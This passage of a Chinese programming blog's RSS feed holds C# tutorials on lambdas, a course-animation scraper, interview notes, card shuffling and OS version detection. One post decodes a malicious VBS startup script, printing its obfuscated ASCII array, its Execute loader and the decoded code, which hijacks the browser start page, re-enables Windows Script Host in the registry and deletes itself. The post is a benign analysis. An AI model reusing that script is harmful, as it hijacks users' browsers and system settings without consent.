var dim = Math.Min(x.Length, y.Length);
var sum = 0.0;
for(var i = 0; i != dim; i++)
sum += x[i] + y[i];
return sum;
};

//可以通过类似 var result = matrixVectorProductAsync(...);使用
Func&amp;lt;double[,], double[], double[]=&#34;&#34;&amp;gt; matrixVectorProductAsync = async (x, y) =&amp;gt; {
var sum = 0.0;
/* do some stuff ... */
return sum;
};&lt;/pre&gt;
&lt;p&gt;从上面的代码段里我们可以学到一些东西&lt;/p&gt;</description>
    </item>
    <item>
      <title>3分钟理解Lambda表达式</title>
      <link>http://blog.leaver.me/2012/12/08/3%E5%88%86%E9%92%9F%E7%90%86%E8%A7%A3lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F/</link>
      <pubDate>Sat, 08 Dec 2012 19:26:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/08/3%E5%88%86%E9%92%9F%E7%90%86%E8%A7%A3lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;1.什么是Lambda表达式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lambda表达式是一个匿名方法，通常在LINQ中被用来创建委托&lt;/p&gt;
&lt;p&gt;简单来说。它是一个没有声明，没有访问修饰符，没有返回值。甚至没有名字的方法。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.为什么我们需要使用Lambda表达式？或者说为什么我们要写一个没有名字的函数？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了方便，这种快捷方式允许你在调用的地方直接编写代码，尤其是你想调用的代码只会在这个地方使用一次。并且方法体本身很短。节省了单独写方法中写声明等等的麻烦。。&lt;/p&gt;
&lt;p&gt;好处&lt;/p&gt;
&lt;p&gt;1.代码量减少。不必写方法的名称。返回值和访问修饰符&lt;/p&gt;
&lt;p&gt;2.当阅读代码的时候。直接就可以看到被调用函数的代码，不用去别的地方。&lt;/p&gt;
&lt;p&gt;Lambda表示应该短些。太复杂了。可读性就下降了&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如果编写Lambda表达式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lambda基本的定义是：参数=&amp;gt;执行代码&lt;/p&gt;
&lt;p&gt;举个例子&lt;/p&gt;
&lt;pre lang=&#34;cs&#34;&gt;n = &gt; n % 2 == 1&lt;/pre&gt;
&lt;p&gt;n是输入参数
n % 2 == 1 是函数体&lt;/p&gt;
&lt;p&gt;你可以读作：给这个匿名方法传入一个参数n，如果n是奇数就返回true&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;使用该Lambda的例子&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;List&amp;lt;int&amp;gt; numbers = new List&amp;lt;int&amp;gt;{11,37,52};
List&amp;lt;int&amp;gt; oddNumbers = numbers.where(n =&amp;gt; n % 2 == 1).ToList();
//现在oddNumbers 里面就是11和37了&lt;/pre&gt;
&lt;p&gt;ok.基本的Lambda表达式就是这样了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>[源码]打包下载算法与数据结构演示动画</title>
      <link>http://blog.leaver.me/2012/12/03/%E6%BA%90%E7%A0%81%E6%89%93%E5%8C%85%E4%B8%8B%E8%BD%BD%E7%AE%97%E6%B3%95%E4%B8%8E%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E6%BC%94%E7%A4%BA%E5%8A%A8%E7%94%BB/</link>
      <pubDate>Mon, 03 Dec 2012 18:51:47 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/03/%E6%BA%90%E7%A0%81%E6%89%93%E5%8C%85%E4%B8%8B%E8%BD%BD%E7%AE%97%E6%B3%95%E4%B8%8E%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E6%BC%94%E7%A4%BA%E5%8A%A8%E7%94%BB/</guid>
      <description>&lt;p&gt;很早的时候，学习数据结构的时候。收集了一下演示的动画。帮助理解。但是不全。今天在看KMP算法的时候。看到了福州大学的一个精品课程。。81个演示动画呢。。想打包下载收藏。话说福州大学这才是好样的。踏踏实实搞学术。&lt;/p&gt;
&lt;p&gt;第一种方法就是手工了。。嘎嘎。你敢么。一个个下载。。。一个个改名。。&lt;/p&gt;
&lt;p&gt;第二种就是用整站下载的软件了。。但是我看了一下swf的命名。我就知道下载下来意义不大。因为名字不好理解。&lt;/p&gt;
&lt;p&gt;第三种就是自己写个程序吧。。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;整体思路，首先访问课程页面，解析得到每一章的标题和内容，然后创立章节文件夹，得到每个动画对应的html页面，然后对html页面解析，提取swf地址。然后下载就行了。&lt;/p&gt;
&lt;p&gt;比较疼的地方是那个页面用的是gb2312编码。而解析神器HtmlAgilityPack，不能指定编码。只能想办法绕过了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;            WebClient client = new WebClient();
            MemoryStream ms = new MemoryStream(client.DownloadData(url));
            HtmlDocument doc = new HtmlDocument();
            doc.Load(ms, Encoding.GetEncoding(&#34;gb2312&#34;));&lt;/pre&gt;
&lt;p&gt;绕过方法就是先使用内置类得到内存流。然后从内存中加载。&lt;/p&gt;
&lt;p&gt;然后呢。涉及的技术就是xpath了。参考着xpath的文档。搞定了不少。中间还有一个地方就是我没注意看。这个页面有两个文件是一样名字。。调试了几次才发现。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using HtmlAgilityPack;
using System.IO;
using System.Threading;
using System.Net;

namespace FzuSwf
{
    class Program
    {
        static void Main(string[] args)
        {
            DoWork();
        }

        //执行任务
        static void DoWork()
        {
            HtmlWeb web = new HtmlWeb();
            HtmlDocument doc = web.Load(&#34;http://ds.fzu.edu.cn/fine/resources/&#34;);
            HtmlNode divResource = doc.GetElementbyId(&#34;divResource&#34;);
            foreach (HtmlNode child in divResource.ChildNodes)
            {
                if (child.Name == &#34;table&#34;)
                {
                    HtmlNode ptile = child.SelectSingleNode(&#34;tr[1]&#34;);

                    Directory.CreateDirectory(ptile.InnerText.Trim());
                    int i = 0;
                    HtmlNodeCollection pcontents = child.SelectNodes(&#34;tr[position()&amp;gt;1]&#34;);
                    Console.WriteLine(ptile.InnerText.Trim());
                    foreach (HtmlNode one in pcontents)
                    {
                        string link = one.SelectSingleNode(&#34;./td[1]/p[1]/a[@href]&#34;).Attributes[&#34;href&#34;].Value;

                        link = @&#34;http://ds.fzu.edu.cn/fine/resources/&#34; + link;

                        string filename;

                        filename = one.InnerText.Trim();
                        if (one.InnerText.Trim() == &#34;二叉树的顺序存储表示&#34;)
                        {
                            filename += i;
                            i++;
                        }
                        string swfLink = getSwfName(link);
                        Console.WriteLine(&#34;--&#34; + filename + swfLink);
                        DownSwf(swfLink, ptile.InnerText.Trim() + @&#34;/&#34; + filename + &#34;.swf&#34;);

                        Thread.Sleep(1000);

                    }
                }

            }
        }

        //下载指定的swf
        static void DownSwf(string url, string desname)
        {
            Uri u = new Uri(url);
            WebClient myWebClient = new WebClient();
            myWebClient.DownloadFileAsync(u, desname);
        }

        //获取指定页面的那个swf名称
        static string getSwfName(string url)
        {
            WebClient client = new WebClient();
            MemoryStream ms = new MemoryStream(client.DownloadData(url));
            HtmlDocument doc = new HtmlDocument();
            doc.Load(ms, Encoding.GetEncoding(&#34;gb2312&#34;));
            HtmlNode hd = doc.DocumentNode;

            string str = hd.SelectSingleNode(&#34;//a[@href]&#34;).Attributes[&#34;href&#34;].Value;

            return @&#34;http://ds.fzu.edu.cn/fine/resources/&#34; + str;
        }

    }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>C#与.net 程序员面试笔记</title>
      <link>http://blog.leaver.me/2012/11/28/c%23%E4%B8%8E.net-%E7%A8%8B%E5%BA%8F%E5%91%98%E9%9D%A2%E8%AF%95%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Wed, 28 Nov 2012 07:13:03 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/28/c%23%E4%B8%8E.net-%E7%A8%8B%E5%BA%8F%E5%91%98%E9%9D%A2%E8%AF%95%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;这是前几天读的书。书不难。10-13章跳过了。以后再看。&lt;/p&gt;
&lt;p&gt;以前，一个应用程序对应一个进程。并且为该进程指定虚拟内存，这样。进程会消耗很多资源，而且进程之间的通信业比较麻烦&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;应用程序域&lt;/strong&gt;可以理解为很多应用程序域都可以运行在同一个.net 进程中，降低内存消耗。同时不同的域之间隔离。安全有保证。通信也简单。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;程序集&lt;/strong&gt;是指包含编译好的。面向.net framework的代码的逻辑单元。是完全自我描述性的一个逻辑单元。可以存储在多个文件中。简单来说，程序集就是几个彼此有关联程序文件的集合。程序集会包含程序的元数据。描述了对应代码中定义的方法和类型。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;装箱和拆箱&lt;/strong&gt;：装箱转换是将一个值类型显式或隐式的转换成一个object对象。并且把这个对象转换成一个被该值类型应用的的接口类型。装箱后的object对象中的数据位于堆中。一般应该避免这种运算。
CLR将值类型的数据包裹到匿名的托管对象中，并将托管对象的引用放在Object类型的变量中。这个过程称为装箱。一般还是使用泛型来代替多好。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值类型和引用类型&lt;/strong&gt;：值类型实例通常分配在线程的栈上。并且不包含指向任何实例数据的指针。引用类型实例分配在托管堆上。变量保存了实例数据的内存引用。引用类型复制的话会导致引用同一个内存地址。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;C#预处理指令&lt;/strong&gt;是在编译时调用的。预处理指令通知C#编译器要编译哪些代码。并指出如何处理特定的错误和异常。比如用在一些调试的时候。在顶部define一个debug 内部的测试部分写上测试用例。具体示例&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;//定义条件变量，注意条件变量的定义要在代码的最前面
#define Debug
using System;
namespace MyConsole
{
  class Preprocesor
  {
    public static void Main()
    {
     //如果条件变量是Debug则运行单元调试代码，再运行功能模块返回运行结果
    #if Debug
      Console.WriteLine(&#34;运行单元测试模块&#34;);
      Console.WriteLine(&#34;运行功能模块，返回输出结果&#34;);
     Console.Read();
   #elif Release
      //如果条件变量是Release，则直接运行功能模块返回运行结果
        Console.WriteLine(&#34;运行功能模块，返回输出结果&#34;);
       Console.Read();
       #endif
      }
   }
}&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;C#中的指针&lt;/strong&gt;
指针是一个无符号整数。是以当前系统寻址范围为取值范围的整数，CLR支持三种指针类型：受托管指针，非托管指针，非托管函数指针，受托管指针存储在堆上的托管块的引用，一个非托管指针就是传统意义上的指针，要放在unsafe中使用，C#中指针并不继承自Object&lt;/p&gt;
&lt;p&gt;String 是CLR的类型名称。而string是C#的关键字。其实C#编译时。。会增下如下代码：
using string=System.String&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Array 到ArrayList的转换&lt;/strong&gt;
1.使用ArrayList.Adapter(ArrayName) 可以直接得到ArrayList
2.使用遍历逐个添加到ArrayList里。
反向的话直接使用(Array[])ArrayListName.ToArray(typeof(Array));即可&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;checked和unchecked&lt;/strong&gt;语句用于控制整形算术运算和显示转换的溢出检查上下文。checked关键字用于对整型算术运算和转换显式启用溢出检查。因为默认情况下。如果表达式产生的值超过了类型的范围。则常数表达式将会导致编译时错误。而非常数表达式则在运行时计算并将引发异常。&lt;/p&gt;
&lt;p&gt;Asp.Net 中的&lt;strong&gt;Request对象&lt;/strong&gt;主要功能是从客户端得到数据信息。他的属性比较多。比如UserLanguage，TotalBytes，Path，ApplicationPath&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ViewState&lt;/strong&gt;是其的一个重要特性。用于把生成页面要用的状态值保存到一个隐藏域里。而不是用cookie/内存&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SOAP&lt;/strong&gt;是Web Service应用的基础协议。他是一种轻量的简单的。基于xml的协议。被设计成在wEb上交换结构化的和固有的信息。
WSDL是一种用于描述web服务和说明如何与Web服务通信的XML语言。WSDL是一种符合XML语法规范的语言。它的设计完全基于Soap协议的实现。当一个WEb Service 服务器期望为使用者提供服务说明时，WSDL语言是最好的选择之一。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;**对企业的一些认识 **&lt;/p&gt;
&lt;p&gt;千万不要说自己未来的打算是做到管理层，首先对管理层的定义不清楚。职务不清楚。所以保险的答案是我会努力钻研技术。使得能够达到业内的专业人士。深刻理解公司和行业&lt;/p&gt;
&lt;p&gt;我是为了找一份长期性的工作。我不喜欢频繁的跳槽我希望在这个利于发展自己的事业。深入学习。向专业人士请教。那。该我想问这个职务是长期的吗？&lt;/p&gt;
&lt;p&gt;不要把公司想像成慈善机构。工作的运作方面应该是尽可能快的实现盈利。树立品牌，赢得客户。我的工作就是完成企业的良性运作。&lt;/p&gt;
&lt;p&gt;如果被问到是否需要考虑看分数。应该说用人单位确实需要全面考量。也要考虑应聘者的工作积极性/服从性。实际经验/对开发的理解诶。这些也许比分数更有价值。&lt;/p&gt;
&lt;p&gt;应届生的优缺点应该是足够的理论知识和专业能力。缺点是工作和社会经验不足。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#模拟手工洗牌(附测试)</title>
      <link>http://blog.leaver.me/2012/11/25/c%23%E6%A8%A1%E6%8B%9F%E6%89%8B%E5%B7%A5%E6%B4%97%E7%89%8C%E9%99%84%E6%B5%8B%E8%AF%95/</link>
      <pubDate>Sun, 25 Nov 2012 09:24:20 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/25/c%23%E6%A8%A1%E6%8B%9F%E6%89%8B%E5%B7%A5%E6%B4%97%E7%89%8C%E9%99%84%E6%B5%8B%E8%AF%95/</guid>
      <description>&lt;p&gt;洗牌大家都知道，代码实现最广泛的一种就是产生两个随机数，然后交换这两个随机数为下标的牌，但是这种的洗牌并不能保证同概率，你可以参考本文做一些测试，本文代码没啥可说的。我写出了非常详细的注释&lt;/p&gt;
&lt;p&gt;ps:刚开始写那个随机数的时候，我随便给了个种子2012.。结果你懂的。。意外意外。这个全局的result数组让我很疼，代码有什么可以改进的，欢迎留言指出。不胜感激。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;/*Author:Bystander
 *Blog:http://leaver.me 
 *Date:2012/11/24*/
using System;

class Program
{
    static int[,] result;
    static void Main()
    {
        //初始牌的顺序，我只测试10张牌的情况
        char[] _arr = { &#39;A&#39;, &#39;B&#39;, &#39;C&#39;, &#39;D&#39;, &#39;E&#39;, &#39;F&#39;, &#39;G&#39;, &#39;H&#39;, &#39;I&#39;, &#39;J&#39; };
        result = new int[_arr.Length, _arr.Length];
        //进行1000次，来统计结果的数字.

        for (int i = 0; i &amp;lt; 10000; i++)
        {
            ShuffleArray_Manual(_arr);
            SumCount(_arr);
        }

        int j = 0;
        foreach (int i in result)
        {
            if (j % result.GetLength(1) == 0)
            {
                Console.WriteLine();
            }
            Console.Write(i + &#34;\t&#34;);
            j++;
        }

    }

    //模拟洗牌
    static void ShuffleArray_Manual(char[] arr)
    {

        Random rand = new Random(Guid.NewGuid().GetHashCode());
        int len = arr.Length;
        int mid = len / 2;

        /*
         * 洗牌的过程重复进行5次，为了洗的均匀.每次都是先平分扑克，然后完全交叉，然后从牌中拿出一部分，放在牌的最前面，也就是切牌，然后再进行下次平分扑克。
         */
        //双手洗牌5次，默认认为是平分扑克
        for (int n = 0; n &amp;lt; 5; n++)
        {

            //两手洗牌
            for (int i = 1; i &amp;lt; mid; i += 2)
            {
                char tmp = arr[i];
                arr[i] = arr[mid + i];
                arr[mid + i] = tmp;
            }

            //随机切牌
            //注意切牌指的是从中抽出n张牌放到扑克牌的前面去
            char[] buf = new char[len];

            for (int j = 0; j &amp;lt; 5; j++)
            {
                //产生从大于等于1小于len的数
                int start = rand.Next() % (len - 1) + 1;

                //产生大于等于0小于等于一半的数
                int numCards = rand.Next() % (len / 2) + 1;

                if (start + numCards &amp;gt; len)
                {
                    numCards = len - start;
                }

                //把扑克牌arr的前start张牌复制到buf里
                Array.ConstrainedCopy(arr, 0, buf, 0, start);

                ///然后把切出来的numCards张牌，起始下标为start的移动到扑克牌arr的最前面
                Array.ConstrainedCopy(arr, start, arr, 0, numCards);

                ///最后把切出去的buf牌（numCards张）复制回扑克牌arr的numCards之后的元素
                Array.ConstrainedCopy(buf, 0, arr, numCards, start);
            }

        }
    }

    //统计一次结果的次数，存入结果数组
    static void SumCount(char[] arr)
    {
        for (int i = 0; i &amp;lt; arr.Length; i++)
        {
            result[arr[i] - &#39;A&#39;, i] += 1;
        }
    }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>一个恶意vbs脚本的简单解码</title>
      <link>http://blog.leaver.me/2012/11/25/%E4%B8%80%E4%B8%AA%E6%81%B6%E6%84%8Fvbs%E8%84%9A%E6%9C%AC%E7%9A%84%E7%AE%80%E5%8D%95%E8%A7%A3%E7%A0%81/</link>
      <pubDate>Sun, 25 Nov 2012 09:00:59 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/25/%E4%B8%80%E4%B8%AA%E6%81%B6%E6%84%8Fvbs%E8%84%9A%E6%9C%AC%E7%9A%84%E7%AE%80%E5%8D%95%E8%A7%A3%E7%A0%81/</guid>
      <description>&lt;p&gt;今天把电脑还原到了11月7号。结果eset更新后报C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup这个目录有个zzs.vbs的不受欢迎的程序，当时没什么事，就打开看看。想知道是个什么东西。&lt;/p&gt;
&lt;p&gt;由于eset阻止，我就把文件拖出来。改个后缀。发现代码不长，前半段是ascii码编码的。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;strs = Array(68,111,13,10,32,32,32,32,83,101,116,32,111,98,106,87,77,73,83,101,114,118,105,99,101,32,61,32,71,101,116,79,98,106,101,99,116,40,34,119,105,110,109,103,109,116,115,58,92,92,46,92,114,111,111,116,92,99,105,109,118,50,34,41,13,10,32,32,32,32,83,101,116,32,99,111,108,80,114,111,99,101,115,115,101,115,32,61,32,111,98,106,87,77,73,83,101,114,118,105,99,101,46,69,120,101,99,81,117,101,114,121,40,34,83,101,108,101,99,116,32,42,32,102,114,111,109,32,87,105,110,51,50,95,80,114,111,99,101,115,115,34,41,13,10,32,32,32,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,48,13,10,32,32,32,32,70,111,114,32,69,97,99,104,32,111,98,106,80,114,111,99,101,115,115,32,73,110,32,99,111,108,80,114,111,99,101,115,115,101,115,13,10,32,32,32,32,32,32,32,32,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,34,117,115,101,114,105,110,105,116,46,101,120,101,34,32,84,104,101,110,13,10,32,32,32,32,32,32,32,32,32,32,32,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,49,13,10,32,32,32,32,32,32,32,32,32,32,32,32,69,120,105,116,32,70,111,114,13,10,32,32,32,32,32,32,32,32,69,110,100,32,73,102,13,10,32,32,32,32,78,101,120,116,13,10,32,32,32,32,73,102,32,70,111,117,110,100,80,114,111,99,101,115,115,32,61,32,48,32,84,104,101,110,32,69,120,105,116,32,68,111,13,10,32,32,32,32,87,83,99,114,105,112,116,46,83,108,101,101,112,32,49,48,48,13,10,76,111,111,112,13,10,13,10,115,80,97,103,101,32,61,32,34,104,116,116,112,58,47,47,119,119,119,46,57,57,57,46,99,111,109,47,63,111,110,101,34,13,10,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,111,98,106,83,104,101,108,108,46,82,101,103,87,114,105,116,101,32,34,72,75,67,85,92,83,111,102,116,119,97,114,101,92,77,105,99,114,111,115,111,102,116,92,73,110,116,101,114,110,101,116,32,69,120,112,108,111,114,101,114,92,77,97,105,110,92,83,116,97,114,116,32,80,97,103,101,34,44,32,115,80,97,103,101,13,10,13,10,115,82,101,103,80,97,116,104,32,61,32,34,72,75,76,77,92,83,79,70,84,87,65,82,69,92,77,105,99,114,111,115,111,102,116,92,87,105,110,100,111,119,115,32,83,99,114,105,112,116,32,72,111,115,116,92,83,101,116,116,105,110,103,115,34,13,10,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,13,10,105,69,110,97,98,108,101,100,32,61,32,111,98,106,83,104,101,108,108,46,82,101,103,82,101,97,100,32,95,13,10,40,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,95,34,41,13,10,73,102,32,69,114,114,46,78,117,109,98,101,114,32,61,32,48,32,84,104,101,110,13,10,32,32,32,32,111,98,106,83,104,101,108,108,46,82,101,103,87,114,105,116,101,32,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,34,44,32,105,69,110,97,98,108,101,100,44,32,34,82,69,71,95,68,87,79,82,68,34,13,10,32,32,32,32,111,98,106,83,104,101,108,108,46,82,101,103,68,101,108,101,116,101,32,115,82,101,103,80,97,116,104,32,38,32,34,92,69,110,97,98,108,101,100,95,34,13,10,69,110,100,32,73,102,13,10,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,13,10,83,101,116,32,102,32,61,32,111,98,106,83,104,101,108,108,46,71,101,116,70,105,108,101,40,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101,41,13,10,73,102,32,102,46,65,116,116,114,105,98,117,116,101,115,32,65,110,100,32,49,32,84,104,101,110,32,102,46,65,116,116,114,105,98,117,116,101,115,32,61,32,102,46,65,116,116,114,105,98,117,116,101,115,32,45,32,49,13,10,111,98,106,83,104,101,108,108,46,68,101,108,101,116,101,70,105,108,101,32,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101)&lt;/pre&gt;
&lt;p&gt;后半段是&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;For i = 0 To UBound(strs)
    runner = runner &amp;amp; Chr(strs(i))
Next
Execute runner&lt;/pre&gt;
&lt;p&gt;虽说对vbs不怎么熟，但也知道vbs经常用来写个启动项啊。加个用户啊。之类的。后半句很好懂。就是把ascii码转换成字符串，然后执行。字面意思看看就行了。其实应该可以直接将Execute runner 改为 MsgBox runner就能输出了。但eset不能关闭。所以最后还是选择用C#来写了。&lt;/p&gt;
&lt;p&gt;解码嘛。很简单。VS刚好开着。直接写吧。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; byte[] strs = {68，101,116,70,105,108,101,40,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101,41,13,10,73,102,32,102,46,65,116,116,114,105,98,117,116,101,115,32,65,110,100,32,49,32,84,104,101,110,32,102,46,65,116,116,114,105,98,117,116,101,115,32,61,32,102,46,65,116,116,114,105,98,117,116,101,115,32,45,32,49,13,10,111,98,106,83,104,101,108,108,46,68,101,108,101,116,101,70,105,108,101,32,87,83,99,114,105,112,116,46,83,99,114,105,112,116,70,117,108,108,78,97,109,101};
        System.Text.ASCIIEncoding asciiEncoding = new System.Text.ASCIIEncoding();
        Console.WriteLine(asciiEncoding.GetString(strs));&lt;/pre&gt;
&lt;p&gt;运行后输出&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Do
    Set objWMIService = GetObject(&#34;winmgmts:\\.\root\cimv2&#34;)
    Set colProcesses = objWMIService.ExecQuery(&#34;Select * from Win32_Process&#34;)
    FoundProcess = 0
    For Each objProcess In colProcesses
        If objProcess.Name = &#34;userinit.exe&#34; Then
            FoundProcess = 1
            Exit For
        End If
    Next
    If FoundProcess = 0 Then Exit Do
    WScript.Sleep 100
Loop

sPage = &#34;http://www.999.com/?one&#34;

Set objShell = CreateObject(&#34;WScript.Shell&#34;)
objShell.RegWrite &#34;HKCU\Software\Microsoft\Internet Explorer\Main\Start Page&#34;, s
Page

sRegPath = &#34;HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings&#34;
On Error Resume Next
iEnabled = objShell.RegRead _
(sRegPath &amp;amp; &#34;\Enabled_&#34;)
If Err.Number = 0 Then
    objShell.RegWrite sRegPath &amp;amp; &#34;\Enabled&#34;, iEnabled, &#34;REG_DWORD&#34;
    objShell.RegDelete sRegPath &amp;amp; &#34;\Enabled_&#34;
End If

Set objShell = CreateObject(&#34;Scripting.FileSystemObject&#34;)
Set f = objShell.GetFile(WScript.ScriptFullName)
If f.Attributes And 1 Then f.Attributes = f.Attributes - 1
objShell.DeleteFile WScript.ScriptFullName&lt;/pre&gt;
&lt;p&gt;结合后半段。简单读一读，就知道这个先找了一下userinit.exe进程。然后改了注册表并且设置了浏览器首页为999这个什么网站，我打开发现是个导航站。。人家hao123做个导航站赚钱了。。你们要不要这样跟风啊。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>获取操作系统版本信息</title>
      <link>http://blog.leaver.me/2012/11/23/%E8%8E%B7%E5%8F%96%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%89%88%E6%9C%AC%E4%BF%A1%E6%81%AF/</link>
      <pubDate>Fri, 23 Nov 2012 13:24:50 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/11/23/%E8%8E%B7%E5%8F%96%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%89%88%E6%9C%AC%E4%BF%A1%E6%81%AF/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/29601_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ab5c1bb6b5cf05669ff110a1a4fe35b5a28a68a5.jpg&#34; title=&#34;wnidows version&#34;&gt;&lt;/a&gt;
坊间流传的代码都有些问题，比如不能正常获取win7以上的版本信息，不能获取诸如专业版，旗舰版等的信息，不能正常获取操作系统位的信息。&lt;/p&gt;
&lt;p&gt;使用代码，写了一个简单的库来实现效果。用法大概如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;StringBuilder sb = new StringBuilder(String.Empty);
sb.AppendLine(&#34;Operation System Information&#34;);
sb.AppendLine(&#34;----------------------------&#34;);
sb.AppendLine(String.Format(&#34;Name = {0}&#34;, OSVersionInfo.Name));
sb.AppendLine(String.Format(&#34;Edition = {0}&#34;, OSVersionInfo.Edition));
if (OSVersionInfo.ServicePack!=string.Empty)
sb.AppendLine(String.Format(&#34;Service Pack = {0}&#34;, OSVersionInfo.ServicePack));
else
sb.AppendLine(&#34;Service Pack = None&#34;);
sb.AppendLine(String.Format(&#34;Version = {0}&#34;, OSVersionInfo.VersionString));
sb.AppendLine(String.Format(&#34;ProcessorBits = {0}&#34;, OSVersionInfo.ProcessorBits));
sb.AppendLine(String.Format(&#34;OSBits = {0}&#34;, OSVersionInfo.OSBits));
sb.AppendLine(String.Format(&#34;ProgramBits = {0}&#34;, OSVersionInfo.ProgramBits));

textBox1.Text = sb.ToString();&lt;/pre&gt;
&lt;p&gt;对比一下坊间的几种不足：
总的来说。最大的问题就是不能正确检测你的操作系统到底是32位还是64位。几种方法大致如下：
1. 使用IntPtr指针的大小
最关键的一句代码是：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;return IntPtr.Size * 8;&lt;/pre&gt;
&lt;p&gt;但是事实上，这个返回的不是操作系统的位数，返回的是运行的程序的位数，如果在64位的windows上以32位的模式运行了这个程序，那么就会返回32.&lt;/p&gt;
&lt;p&gt;2. 使用PROCESSOR_ARCHITECTURE 环境变量&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;string pa = Environment.GetEnvironmentVariable(&#34;PROCESSOR_ARCHITECTURE&#34;);
return ((String.IsNullOrEmpty(pa) || String.Compare(pa, 0,
&#34;x86&#34;, 0, 3, true) == 0) ? 32 : 64);&lt;/pre&gt;
&lt;p&gt;这就是纯粹的误导了，因为和1的情况一样。不能返回处理器的位数而是返回了运行程序的位数，如果在64位的windows上以32位的模式运行了这个程序，那么就会返回32.&lt;/p&gt;
&lt;p&gt;3. 使用PInvoke 和 GetSystemInfo
注意：为了保持文章不要太长。。我没有包括PInvoke API的声明，（译者注：C#的互操作性嘛），但你可能在我提供的源代码里找到。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;ProcessorArchitecture pbits = ProcessorArchitecture.Unknown;
try
{
SYSTEM_INFO l_System_Info = new SYSTEM_INFO();
GetSystemInfo(ref l_System_Info);
switch (l_System_Info.uProcessorInfo.wProcessorArchitecture)
{
case 9: // PROCESSOR_ARCHITECTURE_AMD64
pbits = ProcessorArchitecture.Bit64;
break;
case 6: // PROCESSOR_ARCHITECTURE_IA64
pbits = ProcessorArchitecture.Itanium64;
break;
case 0: // PROCESSOR_ARCHITECTURE_INTEL
pbits = ProcessorArchitecture.Bit32;
break;
default: // PROCESSOR_ARCHITECTURE_UNKNOWN
pbits = ProcessorArchitecture.Unknown;
break;
}
}
catch
{
Ignore
}
return pbits;&lt;/pre&gt;
&lt;p&gt;老问题，还是会返回运行程序的位数，而不是操作系统/处理器的位数。
4. 使用PInvoke和GetNativeSystemInfo
